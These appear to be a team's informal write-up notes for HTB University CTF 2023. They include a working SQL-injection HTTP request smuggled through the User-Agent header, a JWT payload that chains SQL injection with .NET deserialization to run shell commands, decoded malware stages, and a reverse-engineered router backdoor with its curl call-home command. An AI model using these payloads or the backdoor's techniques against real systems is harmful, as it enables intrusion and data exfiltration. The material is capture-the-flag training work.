---
# System prepended metadata

title: HTB University CTF 2023

---

# HTB University CTF 2023

aaa

## GateCrash - easy web

user -> proxy -> login
there is a sqli filter allowing only ascii in the proxy, the useragent is also proxied

putting %0a%0a in useragent gets decoded in the proxied request.

exploit:
```
POST /user HTTP/1.1
Host: 83.136.254.153:32183
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Mozilla/7.0%0a%0a{"username":"' UNION SELECT 1,'admin','$2a$10$Qk2Lg1k7m/4/CF7ZwSAgDe3kvUtV0yTqbdFebPpA5nSDZHZgOdVKS","password":"xxxx"}
Content-Length: 119
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://83.136.254.153:32183
Referer: http://83.136.254.153:32183/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

username=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&password=aaaa



HTTP/1.1 200 OK
Content-Length: 41
Server: HttpBeast
Date: Fri, 08 Dec 2023 13:40:23 GMT
Content-Type: text/html;charset=utf-8

{"msg": "HTB{d0_th3_d45h_0n_th3_p4r53r}"}
```


## Web - Nexus void
sql injection + .net deserialization -> vulnerable class with command setter that executes the cmd.
substitute the @base64, etc. in your head :)
```
Token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.<@replace('=','')><@base64>{"username":"test","ID":"pepe' UNION SELECT 1 as 'ID', '<@base64>{"$type":"Nexus_Void.Helpers.StatusCheckHelper, Nexus_Void","output":"","command":"cat /flag.txt>/app/wwwroot/css/johnyboy.css"}<@/base64>' as 'data', '<@base64>{"$type":"Nexus_Void.Helpers.StatusCheckHelper, Nexus_Void","output":"","command":"echo pepe>/app/wwwroot/css/johnyboy.css"}<@/base64>' as 'username","exp":1702657487,"iss":"NexusVoid","aud":"NexusVoid"}<@/base64><@/replace>.
```


## One Step Closer

- visit url -> download next stage -> vb script - print sus variable:

[first](https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9-_',true,false)Remove_null_bytes()&input=QUQ0QUp3QTdBQ1FBWlFCdUFHUUFSZ0JzQUdFQVp3QWdBRDBBSUFBbkFEd0FQQUJDQUVFQVV3QkZBRFlBTkFCZkFFVUFUZ0JFQUQ0QVBnQW5BRHNBSkFCekFIUUFZUUJ5QUhRQVNRQnVBR1FBWlFCNEFDQUFQUUFnQUNRQWFRQnRBR0VBWndCbEFGUUFaUUI0QUhRQUxnQkpBRzRBWkFCbEFIZ0FUd0JtQUNnQUpBQnpBSFFBWVFCeUFIUUFSZ0JzQUdFQVp3QXBBRHNBSkFCbEFHNEFaQUJKQUc0QVpBQmxBSGdBSUFBOUFDQUFKQUJwQUcwQVlRQm5BR1VBVkFCbEFIZ0FkQUF1QUVrQWJnQmtBR1VBZUFCUEFHWUFLQUFrQUdVQWJnQmtBRVlBYkFCaEFHY0FLUUE3QUNRQWN3QjBBR0VBY2dCMEFFa0FiZ0JrQUdVQWVBQWdBQzBBWndCbEFDQUFNQUFnQUMwQVlRQnVBR1FBSUFBa0FHVUFiZ0JrQUVrQWJnQmtBR1VBZUFBZ0FDMEFad0IwQUNBQUpBQnpBSFFBWVFCeUFIUUFTUUJ1QUdRQVpRQjRBRHNBSkFCekFIUUFZUUJ5QUhRQVNRQnVBR1FBWlFCNEFDQUFLd0E5QUNBQUpBQnpBSFFBWVFCeUFIUUFSZ0JzQUdFQVp3QXVBRXdBWlFCdUFHY0FkQUJvQURzQUpBQmlBR0VBY3dCbEFEWUFOQUJNQUdVQWJnQm5BSFFBYUFBZ0FEMEFJQUFrQUdVQWJnQmtBRWtBYmdCa0FHVUFlQUFnQUMwQUlBQWtBSE1BZEFCaEFISUFkQUJKQUc0QVpBQmxBSGdBT3dBa0FHSUFZUUJ6QUdVQU5nQTBBRU1BYndCdEFHMEFZUUJ1QUdRQUlBQTlBQ0FBSkFCcEFHMEFZUUJuQUdVQVZBQmxBSGdBZEFBdUFGTUFkUUJpQUhNQWRBQnlBR2tBYmdCbkFDZ0FKQUJ6QUhRQVlRQnlBSFFBU1FCdUFHUUFaUUI0QUN3QUlBQWtBR0lBWVFCekFHVUFOZ0EwQUV3QVpRQnVBR2NBZEFCb0FDa0FPd0FrQUdNQWJ3QnRBRzBBWVFCdUFHUUFRZ0I1QUhRQVpRQnpBQ0FBUFFBZ0FGc0FVd0I1QUhNQWRBQmxBRzBBTGdCREFHOEFiZ0IyQUdVQWNnQjBBRjBBT2dBNkFFWUFjZ0J2QUcwQVFnQmhBSE1BWlFBMkFEUUFVd0IwQUhJQWFRQnVBR2NBS0FBa0FHSUFZUUJ6QUdVQU5nQTBBRU1BYndCdEFHMEFZUUJ1QUdRQUtRQTdBQ1FBYkFCdkFHRUFaQUJsQUdRQVFRQnpBSE1BWlFCdEFHSUFiQUI1QUNBQVBRQWdBRnNBVXdCNUFITUFkQUJsQUcwQUxnQlNBR1VBWmdCc0FHVUFZd0IwQUdrQWJ3QnVBQzRBUVFCekFITUFaUUJ0QUdJQWJBQjVBRjBBT2dBNkFFd0Fid0JoQUdRQUtBQWtBR01BYndCdEFHMEFZUUJ1QUdRQVFnQjVBSFFBWlFCekFDa0FPd0FrQUhRQWVRQndBR1VBSUFBOUFDQUFKQUJzQUc4QVlRQmtBR1VBWkFCQkFITUFjd0JsQUcwQVlnQnNBSGtBTGdCSEFHVUFkQUJVQUhrQWNBQmxBQ2dBSndCR0FHa0FZZ0JsQUhJQUxnQklBRzhBYlFCbEFDY0FLUUE3QUNRQWJRQmxBSFFBYUFCdkFHUUFJQUE5QUNBQUpBQjBBSGtBY0FCbEFDNEFSd0JsQUhRQVRRQmxBSFFBYUFCdkFHUUFLQUFuQUZZQVFRQkpBQ2NBS1FBdUFFa0FiZ0IyQUc4QWF3QmxBQ2dBSkFCdUFIVUFiQUJzQUN3QUlBQmJBRzhBWWdCcUFHVUFZd0IwQUZzQVhRQmRBQ0FBS0FBbkFGb0FSQUJXQUdzQVdnQnRBRmtBZVFCTkFGY0FTUUI0QUU0QU1nQldBR3dBVEFCVUFFWUFiUUJPQUVRQVp3QjBBRTRBVndCTkFETUFUZ0JEQURFQWFnQlBBRlFBVFFBd0FFd0FWd0JSQURNQVRRQXlBRTBBZVFCWkFGUUFXUUI2QUZBQVZ3QTFBR3dBWVFBeUFEa0FNQUJLQUcwQVJnQndBRm9BUndCV0FIUUFVQUJZQUZJQWN3QlpBRlFBT1FBd0FHVUFTQUJSQUhVQVl3QnRBRllBYlFCakFESUFOUUJvQUdNQWJnQlJBSFlBWWdCNUFEa0FkQUJpQURJQVRRQjFBR1FBUndBNUFIY0FZd0F6QUVJQWR3QlpBRk1BTlFCdEFFOEFWQUJPQUdvQVRnQnBBREVBYmdCaUFHMEFiQUJ5QUZrQU1nQkdBRzhBVEFBeUFFa0FkZ0JOQUVnQVdRQjJBR0lBVndBNUFHb0FUQUJ1QUU0QWNBQmpBRWNBUmdCc0FHSUFSd0JrQUhZQVlnQXlBR01BZFFCYUFGY0FaQUJvQUdNQWJRQTVBREFBWXdBeUFGWUFlZ0JaQUZjQVNnQnNBR01BYlFCc0FHMEFUQUI1QURnQU5nQmpBRE1BUWdBd0FHUUFSd0JuQUQwQUp3QWdBQ3dBSUFBbkFHUUFaZ0JrQUdZQVpBQW5BQ0FBTEFBZ0FDY0FaQUJtQUdRQVpnQW5BQ0FBTEFBZ0FDY0FaQUJtQUdRQVpnQW5BQ0FBTEFBZ0FDY0FaQUJoQUdRQWN3QmhBQ2NBSUFBc0FDQUFKd0JrQUdVQUp3QWdBQ3dBSUFBbkFHTUFkUUFuQUNrQUtRQQ)

[second](https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9-_',true,false)Remove_null_bytes()&input=QUQ0QUp3QTdBQ1FBWlFCdUFHUUFSZ0JzQUdFQVp3QWdBRDBBSUFBbkFEd0FQQUJDQUVFQVV3QkZBRFlBTkFCZkFFVUFUZ0JFQUQ0QVBnQW5BRHNBSkFCekFIUUFZUUJ5QUhRQVNRQnVBR1FBWlFCNEFDQUFQUUFnQUNRQWFRQnRBR0VBWndCbEFGUUFaUUI0QUhRQUxnQkpBRzRBWkFCbEFIZ0FUd0JtQUNnQUpBQnpBSFFBWVFCeUFIUUFSZ0JzQUdFQVp3QXBBRHNBSkFCbEFHNEFaQUJKQUc0QVpBQmxBSGdBSUFBOUFDQUFKQUJwQUcwQVlRQm5BR1VBVkFCbEFIZ0FkQUF1QUVrQWJnQmtBR1VBZUFCUEFHWUFLQUFrQUdVQWJnQmtBRVlBYkFCaEFHY0FLUUE3QUNRQWN3QjBBR0VBY2dCMEFFa0FiZ0JrQUdVQWVBQWdBQzBBWndCbEFDQUFNQUFnQUMwQVlRQnVBR1FBSUFBa0FHVUFiZ0JrQUVrQWJnQmtBR1VBZUFBZ0FDMEFad0IwQUNBQUpBQnpBSFFBWVFCeUFIUUFTUUJ1QUdRQVpRQjRBRHNBSkFCekFIUUFZUUJ5QUhRQVNRQnVBR1FBWlFCNEFDQUFLd0E5QUNBQUpBQnpBSFFBWVFCeUFIUUFSZ0JzQUdFQVp3QXVBRXdBWlFCdUFHY0FkQUJvQURzQUpBQmlBR0VBY3dCbEFEWUFOQUJNQUdVQWJnQm5BSFFBYUFBZ0FEMEFJQUFrQUdVQWJnQmtBRWtBYmdCa0FHVUFlQUFnQUMwQUlBQWtBSE1BZEFCaEFISUFkQUJKQUc0QVpBQmxBSGdBT3dBa0FHSUFZUUJ6QUdVQU5nQTBBRU1BYndCdEFHMEFZUUJ1QUdRQUlBQTlBQ0FBSkFCcEFHMEFZUUJuQUdVQVZBQmxBSGdBZEFBdUFGTUFkUUJpQUhNQWRBQnlBR2tBYmdCbkFDZ0FKQUJ6QUhRQVlRQnlBSFFBU1FCdUFHUUFaUUI0QUN3QUlBQWtBR0lBWVFCekFHVUFOZ0EwQUV3QVpRQnVBR2NBZEFCb0FDa0FPd0FrQUdNQWJ3QnRBRzBBWVFCdUFHUUFRZ0I1QUhRQVpRQnpBQ0FBUFFBZ0FGc0FVd0I1QUhNQWRBQmxBRzBBTGdCREFHOEFiZ0IyQUdVQWNnQjBBRjBBT2dBNkFFWUFjZ0J2QUcwQVFnQmhBSE1BWlFBMkFEUUFVd0IwQUhJQWFRQnVBR2NBS0FBa0FHSUFZUUJ6QUdVQU5nQTBBRU1BYndCdEFHMEFZUUJ1QUdRQUtRQTdBQ1FBYkFCdkFHRUFaQUJsQUdRQVFRQnpBSE1BWlFCdEFHSUFiQUI1QUNBQVBRQWdBRnNBVXdCNUFITUFkQUJsQUcwQUxnQlNBR1VBWmdCc0FHVUFZd0IwQUdrQWJ3QnVBQzRBUVFCekFITUFaUUJ0QUdJQWJBQjVBRjBBT2dBNkFFd0Fid0JoQUdRQUtBQWtBR01BYndCdEFHMEFZUUJ1QUdRQVFnQjVBSFFBWlFCekFDa0FPd0FrQUhRQWVRQndBR1VBSUFBOUFDQUFKQUJzQUc4QVlRQmtBR1VBWkFCQkFITUFjd0JsQUcwQVlnQnNBSGtBTGdCSEFHVUFkQUJVQUhrQWNBQmxBQ2dBSndCR0FHa0FZZ0JsQUhJQUxnQklBRzhBYlFCbEFDY0FLUUE3QUNRQWJRQmxBSFFBYUFCdkFHUUFJQUE5QUNBQUpBQjBBSGtBY0FCbEFDNEFSd0JsQUhRQVRRQmxBSFFBYUFCdkFHUUFLQUFuQUZZQVFRQkpBQ2NBS1FBdUFFa0FiZ0IyQUc4QWF3QmxBQ2dBSkFCdUFIVUFiQUJzQUN3QUlBQmJBRzhBWWdCcUFHVUFZd0IwQUZzQVhRQmRBQ0FBS0FBbkFGb0FSQUJXQUdzQVdnQnRBRmtBZVFCTkFGY0FTUUI0QUU0QU1nQldBR3dBVEFCVUFFWUFiUUJPQUVRQVp3QjBBRTRBVndCTkFETUFUZ0JEQURFQWFnQlBBRlFBVFFBd0FFd0FWd0JSQURNQVRRQXlBRTBBZVFCWkFGUUFXUUI2QUZBQVZ3QTFBR3dBWVFBeUFEa0FNQUJLQUcwQVJnQndBRm9BUndCV0FIUUFVQUJZQUZJQWN3QlpBRlFBT1FBd0FHVUFTQUJSQUhVQVl3QnRBRllBYlFCakFESUFOUUJvQUdNQWJnQlJBSFlBWWdCNUFEa0FkQUJpQURJQVRRQjFBR1FBUndBNUFIY0FZd0F6QUVJQWR3QlpBRk1BTlFCdEFFOEFWQUJPQUdvQVRnQnBBREVBYmdCaUFHMEFiQUJ5QUZrQU1nQkdBRzhBVEFBeUFFa0FkZ0JOQUVnQVdRQjJBR0lBVndBNUFHb0FUQUJ1QUU0QWNBQmpBRWNBUmdCc0FHSUFSd0JrQUhZQVlnQXlBR01BZFFCYUFGY0FaQUJvQUdNQWJRQTVBREFBWXdBeUFGWUFlZ0JaQUZjQVNnQnNBR01BYlFCc0FHMEFUQUI1QURnQU5nQmpBRE1BUWdBd0FHUUFSd0JuQUQwQUp3QWdBQ3dBSUFBbkFHUUFaZ0JrQUdZQVpBQW5BQ0FBTEFBZ0FDY0FaQUJtQUdRQVpnQW5BQ0FBTEFBZ0FDY0FaQUJtQUdRQVpnQW5BQ0FBTEFBZ0FDY0FaQUJoQUdRQWN3QmhBQ2NBSUFBc0FDQUFKd0JrQUdVQUp3QWdBQ3dBSUFBbkFHTUFkUUFuQUNrQUtRQQ)

> download http://94.237.62.252:42875/WJveX71agmOQ6Gw_1698762642.jpg

- run `strings` on that image -> base64 decode => its .exe file -> run `strings` on that executable = profit

> HTB{0n3_St3p_cl0s3r_t0_th3_cur3}
___
```
Time: 15:02
Status:
```
![Screenshot 2023-12-08 at 15.02.19](https://hackmd.io/_uploads/H1effilIa.png)


## umbrella
- nmap TCP
```
# Nmap 7.93SVN scan initiated Fri Dec  8 16:59:37 2023 as: nmap -p- -T4 -sV -sC -oN nmap-tcp 10.129.241.146
Nmap scan report for 10.129.241.146
Host is up (0.0038s latency).
Not shown: 65526 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Science Labs
| http-methods: 
|_  Potentially risky methods: TRACE
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp   open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Microsoft-HTTPAPI/2.0
| ssl-cert: Subject: commonName=prd23-nextcloud.umbrella.htb/organizationName=Umbrella
| Not valid before: 2023-10-24T11:36:51
|_Not valid after:  2073-10-11T11:36:51
|_http-title: Not Found
445/tcp   open  microsoft-ds?
9389/tcp  open  mc-nmf        .NET Message Framing
59621/tcp open  msrpc         Microsoft Windows RPC
59626/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 6h59m59s
| smb2-time: 
|   date: 2023-12-08T23:03:03
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Dec  8 17:03:43 2023 -- 1 IP address (1 host up) scanned in 246.15 seconds
```


https://adfs.umbrella.htb/adfs/ls/idpinitiatedsignon.aspx?SAMLRequest=nZJNbxshEIbv/hXR3r0L69iKkG3JjZvWkmtbsZNDLxELszESC5SB1v33xWyifEjJoRyQGOZ9mHmHKfJOO7aI4Whu4VcEDIOLtE6dNsjy5ayI3jDLUSEzvANkQbD94sea1SVhzttghdXFO9nnKo4IPihretlqOSu2m6/r7bfV5gEu67GsKVAiJWlamMha0PFk0l42LaViVBMyHjVE9tJ78Jg4syJhi0FPQ4ywMhi4CSlO6tGQ1kNydahHjE4YufrZS5epWWV4yPJjCA5ZVXHZYhm7xoPWvDyGJkcqjZWSThkVFA8gUT0aa0qO7tSzdk82fFFGKvP4efdNn4Ts++GwG+62+0MPWTy7cm0Nxg78HvxvJeDudv1SoPMyNWTgFIS2Ub6r1TmsYqI8nGdQ5Y0LLOaZPz2fWbbHz/+b10Hgkgc+rV7jXh5wbJM6Xi13VivxN8fP68b6joePjaElzRElh21OZdGgA6FaBU+zzh5pbf9ce0hTmBXBRyguqvmgr+XtP57/Aw==&RelayState=https://prd23-nextcloud.umbrella.htb/apps/user_saml/saml/login

https://adfs.umbrella.htb/adfs/ls/idpinitiatedsignon.aspx?SAMLRequest=nZJNbxshEIbv/hXR3r0L69iKkG3JjZvWkmtbsZNDLxELszESC5SB1v33xWyifEjJoRyQGOZ9mHmHKfJOO7aI4Whu4VcEDIOLtE6dNsjy5ayI3jDLUSEzvANkQbD94sea1SVhzttghdXFO9nnKo4IPihretlqOSu2m6/r7bfV5gEu67GsKVAiJWlamMha0PFk0l42LaViVBMyHjVE9tJ78Jg4syJhi0FPQ4ywMhi4CSlO6tGQ1kNydahHjE4YufrZS5epWWV4yPJjCA5ZVXHZYhm7xoPWvDyGJkcqjZWSThkVFA8gUT0aa0qO7tSzdk82fFFGKvP4efdNn4Ts++GwG+62+0MPWTy7cm0Nxg78HvxvJeDudv1SoPMyNWTgFIS2Ub6r1TmsYqI8nGdQ5Y0LLOaZPz2fWbbHz/+b10Hgkgc+rV7jXh5wbJM6Xi13VivxN8fP68b6joePjaElzRElh21OZdGgA6FaBU+zzh5pbf9ce0hTmBXBRyguqvmgr+XtP57/Aw==&RelayState=https://prd23-nextcloud.umbrella.htb/apps/user_saml/saml/login


- /etc/hosts:
```
10.129.241.146  adfs.umbrella.htb prd23-nextcloud.umbrella.htb umbrella.htb
```

research@umbrella.htb
info@umbrella.htb

```
Jennifer Roberts
Michael Anderson
Robert Turner
Emily Clark
Rebecca Anderson
Marcus Rodriguez
Sarah Mitchell
Olivia Turner
Lucas Anderson
John Smith
Alice Richards
Sarah Johnson
```

## WindowsOfOpportunity
```
local_c = 0
local_38 = ""

arr = [
  -100,
  -106,
  -67,
  -81,
  -109,
  -61,
  -108,
  96,
  -94,
  -47,
  -62,
  -49,
  -100,
  -93,
  -90,
  104,
  -108,
  -63,
  -41,
  -84,
  -106,
  -109,
  -109,
  -42,
  -88,
  -97,
  -46,
  -108,
  -89,
  -42,
  -113,
  -96,
  -93,
  -95,
  -93,
  86,
  -98
]
while True:
    if 36 < local_c:
        print("done")
    local_d = ord(local_38[local_c + 1]) + ord(local_38[local_c])
    if (local_d != arr[local_c]):
        break
    local_c += 1
```


## ZombieNet (forensics) - FUCKING HELL :smile::gun:
- extract fake firmware using:
```bash
binwalk -e fake.bin
```

- original one = https://downloads.openwrt.org/snapshots/targets/ramips/mt7621/openwrt-ramips-mt7621-xiaomi_mi-router-4a-gigabit-squashfs-sysupgrade.bin

- diff is in `/usr/bin/dead-reanimation` -> gotta decompile this shit:
```c
int __fastcall main(int a1, char **a2, char **a3)
{
  int v4[5]; // [sp+18h] [+18h] BYREF
  char v5; // [sp+2Ch] [+2Ch]
  int v6[4]; // [sp+30h] [+30h] BYREF
  __int16 v7; // [sp+40h] [+40h]
  char v8[60]; // [sp+44h] [+44h] BYREF
  char v9[56]; // [sp+80h] [+80h] BYREF

  v4[0] = -1703975440;
  v4[1] = -1376459650;
  v4[2] = 1318285417;
  v4[3] = -1899634347;
  v4[4] = 989159361;
  v5 = 0;
  v6[0] = -1703975440;
  v6[1] = -1376456066;
  v6[2] = 1250707043;
  v6[3] = -1870468544;
  v7 = 200;
  memcpy(v8, dword_400F74, 58);
  memcpy(v9, dword_400FB0, 55);
  sub_400C04((int)v4);
  sub_400C04((int)v6);
  sub_400C04((int)v8);
  sub_400C04((int)v9);
  if ( access(v4, 0) == -1 )
  {
    sub_400B20(v8, v4);
    chmod(v4, 511);
  }
  if ( access(v6, 0) == -1 )
  {
    sub_400B20(v9, v6);
    chmod(v6, 511);
  }
  system(v6);
  system(v4);
  return 0;
}
```
```c
BOOL __fastcall sub_400C04(int a1)
{
  BOOL result; // $v0
  unsigned int i; // [sp+18h] [+18h]

  for ( i = 0; ; ++i )
  {
    result = i < strlen(a1);
    if ( !result )
      break;
    *(_BYTE *)(a1 + i) ^= *((_BYTE *)dword_400F24 + (int)i % 32);
  }
  return result;
}
```



```
LOAD:00400F1C 00 00 00 00                   .align 4
LOAD:00400F20 77 62 00 00                   dword_400F20:.word 0x6277                # DATA XREF: sub_400B20+38↑o
LOAD:00400F24 DF 11 02 EA 51 80 91 CC 0D 2F+dword_400F24:.word 0xEA0211DF, 0xCC918051, 0x2BE12F0D, 0xE3AC8F34, 0x5E902BA0, 0x32A4A203, 0x9603EEED, 0xB0F45783
LOAD:00400F24 E1 2B 34 8F AC E3 A0 2B 90 5E+                                         # DATA XREF: sub_400C04+14↑o
LOAD:00400F24 03 A2 A4 32 ED EE 03 96 83 57+.word 0
LOAD:00400F48 F0 65 6F 9A                   dword_400F48:.word 0x9A6F65F0            # DATA XREF: main+1C↑r
LOAD:00400F48                                                                        # main+20↑o
LOAD:00400F48                                                                        # main+28↑o
LOAD:00400F48                                                                        # main+30↑o
LOAD:00400F48                                                                        # main+38↑o
LOAD:00400F48                                                                        # main+54↑o
LOAD:00400F4C 7E E4 F4 AD                   dword_400F4C:.word 0xADF4E47E            # DATA XREF: main+24↑r
LOAD:00400F50 69 70 93 4E                   dword_400F50:.word 0x4E937069            # DATA XREF: main+2C↑r
LOAD:00400F54 55 E1 C5 8E                   dword_400F54:.word 0x8EC5E155            # DATA XREF: main+34↑r
LOAD:00400F58 C1 5F F5 3A                   dword_400F58:.word 0x3AF55FC1            # DATA XREF: main+3C↑r
LOAD:00400F5C 00                            byte_400F5C:.byte 0                      # DATA XREF: main+58↑r
LOAD:00400F5D 00 00 00                      .byte 0, 0, 0
LOAD:00400F60 F0 65 6F 9A                   dword_400F60:.word 0x9A6F65F0            # DATA XREF: main+68↑r
LOAD:00400F60                                                                        # main+6C↑o
LOAD:00400F60                                                                        # main+74↑o
LOAD:00400F60                                                                        # main+7C↑o
LOAD:00400F60                                                                        # main+94↑o
LOAD:00400F64 7E F2 F4 AD                   dword_400F64:.word 0xADF4F27E            # DATA XREF: main+70↑r
LOAD:00400F68 63 46 8C 4A                   dword_400F68:.word 0x4A8C4663            # DATA XREF: main+78↑r
LOAD:00400F6C 40 EA 82 90                   dword_400F6C:.word 0x9082EA40            # DATA XREF: main+80↑r
LOAD:00400F70 C8 00                         word_400F70:.half 0xC8                   # DATA XREF: main+98↑r
LOAD:00400F72 00 00                         .half 0
LOAD:00400F74 B7 65 76 9A 6B AF BE AF 62 41+dword_400F74:.word 0x9A7665B7, 0xAFBEAF6B, 0x42874162, 0x9182FC53, 0x3BE45ECF, 0x46CC8C71, 0xF367C18F, 0xC2AB33E2
LOAD:00400F74 87 42 53 FC 82 91 CF 5E E4 3B+                                         # DATA XREF: main+AC↑o
LOAD:00400F74 71 8C CC 46 8F C1 67 F3 E2 33+.word 0x836C70BA, 0xA9E5E13C, 0x658C7069, 0xAEF8D559, 0xBFA65D4, 0x2F7FB30, 0xDD
LOAD:00400FB0 B7 65 76 9A 6B AF BE AF 62 41+dword_400FB0:.word 0x9A7665B7, 0xAFBEAF6B, 0x42874162, 0x9182FC53, 0x3BE45ECF, 0x46CC8C71, 0xF371C18F, 0xDD9D39E2
LOAD:00400FB0 87 42 53 FC 82 91 CF 5E E4 3B+                                         # DATA XREF: main+CC↑o
LOAD:00400FB0 71 8C CC 46 8F C1 71 F3 E2 39+.word 0xC46765BE, 0xA6CEE822, 0x7CAE5548, 0xB7F6FB79, 0xDDF53F5, 0x9233, 0, 0
LOAD:00400FF0 00 00 00 00 00 00 00 00 00 00+dword_400FF0:.word 0, 0, 0, 0            # DATA XREF: sub_4006D0+30↑o
LOAD:00400FF0 00 00 00 00 00 00                                                      # LOAD:00400740↑o
```


```c
int32_t main(int32_t argc, char** argv, char** envp)
{
    argc_1 = argc;
    argv_1 = argv;
    int32_t var_a8;
    __builtin_memcpy(&var_a8, "\xf0\x65\x6f\x9a\x7e\xe4\xf4\xad\x69\x70\x93\x4e\x55\xe1\xc5\x8e\xc1\x5f\xf5\x3a", 0x14);
    char var_94 = 0;
    int32_t var_90;
    __builtin_memcpy(&var_90, "\xf0\x65\x6f\x9a\x7e\xf2\xf4\xad\x63\x46\x8c\x4a\x40\xea\x82\x90\xc8\x00", 0x12);
    void var_7c;
    memcpy(&var_7c, &data_400f74, 0x3a);
    void var_40;
    memcpy(&var_40, &data_400fb0, 0x37);
    sub_400c04(&var_a8);
    sub_400c04(&var_90);
    sub_400c04(&var_7c);
    sub_400c04(&var_40);
    if (access(&var_a8, 0) == 0xffffffff)
    {
        sub_400b20(&var_7c, &var_a8);
        chmod(&var_a8, 0x1ff);
    }
    if (access(&var_90, 0) == 0xffffffff)
    {
        sub_400b20(&var_40, &var_90);
        chmod(&var_90, 0x1ff);
    }
    system(&var_90);
    system(&var_a8);
    return 0;
}
```
```py
dword_400F20 = [
    0x77620000,
]

dword_400F24 = [
    0xEA0211DF,
    0xCC918051,
    0x2BE12F0D,
    0xE3AC8F34,
    0x5E902BA0,
    0x32A4A203,
    0x9603EEED,
    0xB0F45783,
]

dword_400F48 = [
    0x9A6F65F0,
    0xADF4E47E,
    0x4E937069,
    0x8EC5E155,
    0x3AF55FC1,
]

dword_400F60 = [
    0x9A6F65F0,
    0xADF4F27E,
    0x4A8C4663,
    0x9082EA40,
]

word_400F70 = [
    0xC800,
]

dword_400F74 = [
    0x9A7665B7,
    0xAFBEAF6B,
    0x42874162,
    0x9182FC53,
    0x3BE45ECF,
    0x46CC8C71,
    0xF367C18F,
    0xC2AB33E2,
    0x836C70BA,
    0xA9E5E13C,
    0x658C7069,
    0xAEF8D559,
    0xBFA65D4,
    0x2F7FB30,
    0xDD,
]

dword_400FB0 = [
    0x9A7665B7,
    0xAFBEAF6B,
    0x42874162,
    0x9182FC53,
    0x3BE45ECF,
    0x46CC8C71,
    0xF371C18F,
    0xDD9D39E2,
    0xC46765BE,
    0xA6CEE822,
    0x7CAE5548,
    0xB7F6FB79,
    0xDDF53F5,
    0x9233,
    0,
    0,
]
```

```
https://gchq.github.io/CyberChef/#recipe=Swap_endianness('Hex',4,true)&input=ICAgIDB4RUEwMjExREYsCiAgICAweENDOTE4MDUxLAogICAgMHgyQkUxMkYwRCwKICAgIDB4RTNBQzhGMzQsCiAgICAweDVFOTAyQkEwLAogICAgMHgzMkE0QTIwMywKICAgIDB4OTYwM0VFRUQsCiAgICAweEIwRjQ1NzgzLA
> hodit dword_400F24 so Swap_endianness ako key do xoru

/tmp/dead_reanimated
/tmp/reanimate.sh


---
https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')XOR(%7B'option':'Hex','string':'df%2011%2002%20ea%2051%2080%2091%20cc%200d%202f%20e1%202b%2034%208f%20ac%20e3%20a0%202b%2090%205e%2003%20a2%20a4%2032%20ed%20ee%2003%2096%2083%2057%20f4%20b0'%7D,'Standard',false)&input=YjcgNjUgNzYgOWEgNmIgYWYgYmUgYWYgNjIgNDEgODcgNDIgNTMgZmMgODIgOTEgY2YgNWUgZTQgM2IgNzEgOGMgY2MgNDYgOGYgYzEgNjcgZjMgZTIgMzMgYWIgYzIgYmEgNzAgNmMgODMgM2MgZTEgZTUgYTkgNjkgNzAgOGMgNjUgNTkgZDUgZjggYWUg
key = dword_400F24 so swap endianness

input so swap endiannes:
    - dword_400F74
    - dword_400FB0
```

> /tmp/dead_reanimated
> /tmp/reanimate.sh

```c
#include <stdbool.h>
#include <string.h>
#include <stdio.h>
bool xorFunction(int input[], int inputSize)
{
  bool result;
  unsigned int i;
  int dword_400F24[] = {0xEA0211DF, 0xCC918051, 0x2BE12F0D, 0xE3AC8F34, 0x5E902BA0, 0x32A4A203, 0x9603EEED, 0xB0F45783};

  for (i = 0; ; ++i)
  {
    result = i < inputSize;
    if (!result)
      break;
    input[i] ^= dword_400F24[i % 8];
  }
  //printf(result);
  printf(input);
  return result;
}

int main()
{
  int inputData[] = {0x9A7665B7, 0xAFBEAF6B, 0x42874162, 0x9182FC53, 0x3BE45ECF, 0x46CC8C71, 0xF367C18F, 0xC2AB33E2, 0x836C70BA, 0xA9E5E13C, 0x658C7069, 0xAEF8D559, 0xBFA65D4, 0x2F7FB30, 0xDD};
  int inputSize = sizeof(inputData) / sizeof(inputData[0]);

  xorFunction(inputData, inputSize);

  // Resulting values are now in the inputData array
  // You can use or display the modified inputData as needed

  return 0;
}
```

> http://configs.router.htb:49720/dead_reanimated_mNmZTMtNjU3YS00
> http://configs.router.htb:49720/reanimate.sh_jEzOWMtZTUxOS00

```bash
curl -X POST -H "Content-Type: application/json" -b "auth_token=SFRCe1owbWIxM3NfaDR2M19pbmY" -d '{"ip":"'${WAN_IP}'"}' http://configs.router.htb/reanimate
```

> `SFRCe1owbWIxM3NfaDR2M19pbmY` = 1st part of flag :))))) b64 encoded


> **HTB{Z0mb13s_h4v3_inf3ct3d_0ur_c0mmun1c4t10ns!!}	**

- v binarke najdene:
```
d2c0ba035fe58753c648066d76fa793bea92ef29
http://callback.router.htb

HSTERUNI-GW-01
```

```c
int __cdecl ftext(int argc, const char **argv, const char **envp)
{
  size_t dlzka_memory_data; // $v0
  const char *v4; // $s1
  int v5; // $v0
  int v6; // $s0
  FILE *v7; // $s2
  size_t v8; // $s0
  int v9; // $s0
  FILE *v11; // $s2
  int v12[64]; // [sp+18h] [-158h] BYREF
  char nieco_encrypted[44]; // [sp+118h] [-58h] BYREF
